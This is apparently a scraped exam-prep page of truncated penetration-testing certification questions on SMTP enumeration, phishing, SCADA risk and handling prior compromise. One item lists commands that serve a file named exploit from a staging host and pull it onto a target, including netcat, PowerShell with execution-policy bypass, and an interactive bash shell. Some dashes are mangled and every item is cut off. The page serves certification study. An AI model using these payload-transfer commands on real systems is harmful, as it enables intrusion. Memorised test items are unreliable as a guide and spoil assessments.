Which of the following commands should be used to accomplish the goal?

A mail service company has hired a penetration tester to conduct an enumeration of all user accounts on an SMTP server to identify whether previous staff member accounts are still active. Which of the following commands should be used to accomplish the goal?A . VRFY and EXPNB . VRFY and...

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Which of the following actions would BEST enable the tester to perform phishing in a later stage of the assessment?

In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company’s servers. Which of the following actions would BEST enable the tester to perform phishing in a later stage of the assessment?A . Test for RFC-defined protocol conformance.B . Attempt...

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Which of the following actions should the tester take?

A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company’s network, with the constrained objective of gaining access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment. Which of the...

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Which of the following commands could be used to download a file named exploit to a target machine for execution?

A penetration tester ran the following command on a staging server: python Cm SimpleHTTPServer 9891 Which of the following commands could be used to download a file named exploit to a target machine for execution?A . nc 10.10.51.50 9891 < exploitB . powershell Cexec bypass Cf \10.10.51.509891C . bash Ci...

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Which of the following is the MOST important action to take before starting this type of assessment?

A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity. Which of the following is the MOST important action to take before starting this...

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Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:

Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:A . devices produce more heat and consume more power.B . devices are obsolete and are no longer available for replacement.C . protocols are more difficult to understand.D . devices may cause physical world effects.View...

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A penetration tester is exploring a client’s website. The tester performs a curl command and obtains the following: * Connected to 10.2.11.144 (::1) port 80 (#0) > GET /readmine.html HTTP/1.1 > Host: 10.2.11.144 > User-Agent: curl/7.67.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200...

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Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be valid?

A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant. The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be valid?A . PLCs...

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Which of the following concerns would BEST support the software company’s request?

A company that developers embedded software for the automobile industry has hired a penetration-testing team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has...

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Which of the following should the penetration tester do NEXT?

A penetration tester discovers that a web server within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT?A . Forensically acquire the backdoor Trojan and perform attributionB . Utilize the backdoor in support of the engagementC ....

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